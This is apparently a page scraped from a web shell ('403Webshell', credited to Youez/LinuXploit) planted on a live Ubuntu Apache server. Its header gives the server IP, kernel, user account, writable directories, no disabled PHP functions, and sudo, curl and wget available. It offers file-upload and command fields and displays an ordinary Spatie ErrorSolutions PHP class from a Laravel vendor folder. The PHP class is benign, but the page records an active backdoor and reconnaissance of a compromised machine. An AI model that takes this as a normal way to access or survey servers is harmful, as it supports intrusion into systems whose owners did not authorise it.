403Webshell
Server IP : 138.197.107.151  /  Your IP : 216.73.217.7
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux BloxBy-Builder 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : wpbetasites_mrakzqskir ( 1022)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/shark-admin/vendor/spatie/error-solutions/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/shark-admin/vendor/spatie/error-solutions/src//DiscoverSolutionProviders.php
<?php

namespace Spatie\ErrorSolutions;

use Spatie\ErrorSolutions\Contracts\HasSolutionsForThrowable;

class DiscoverSolutionProviders
{
    /** @var array<string, string> */
    protected array $config = [
        'ai' => 'SolutionProviders/OpenAi',
        'php' => 'SolutionProviders',
        'laravel' => 'SolutionProviders/Laravel',
    ];

    /**
     * @param array<string> $types
     *
     * @return array<HasSolutionsForThrowable>
     */
    public static function for(array $types): array
    {
        if (in_array('php', $types)) {
            $types[] = 'ai';
        }

        return (new self($types))->get();
    }

    /**
     * @param array<string> $types
     */
    public function __construct(protected array $types)
    {

    }

    /** @return array<HasSolutionsForThrowable> */
    public function get(): array
    {
        $providers = [];

        foreach ($this->types as $type) {
            $providers = array_merge($providers, $this->getProviderClassesForType($type));
        }

        return $providers;
    }

    /** @return array<HasSolutionsForThrowable> */
    protected function getProviderClassesForType(string $type): array
    {
        $relativePath = $this->config[$type] ?? null;

        if (! $relativePath) {
            return [];
        }

        $namespace = $this->getNamespaceForPath($relativePath);

        $globPattern = __DIR__ . '/'  . $relativePath . '/*.php';

        $files = glob($globPattern);

        if (! $files) {
            return [];
        }

        $solutionProviders = array_map(function (string $solutionProviderFilePath) use ($namespace) {
            $fileName = pathinfo($solutionProviderFilePath, PATHINFO_FILENAME);

            $fqcn = $namespace . '\\' . $fileName;

            $validClass = in_array(HasSolutionsForThrowable::class, class_implements($fqcn) ?: []);

            return $validClass ? $fqcn : null;
        }, $files);

        return array_values(array_filter($solutionProviders));
    }

    protected function getNamespaceForPath(string $relativePath): string
    {
        $namespacePath = str_replace('/', '\\', $relativePath);

        $namespace = 'Spatie\\ErrorSolutions\\' . $namespacePath;

        return $namespace;

    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit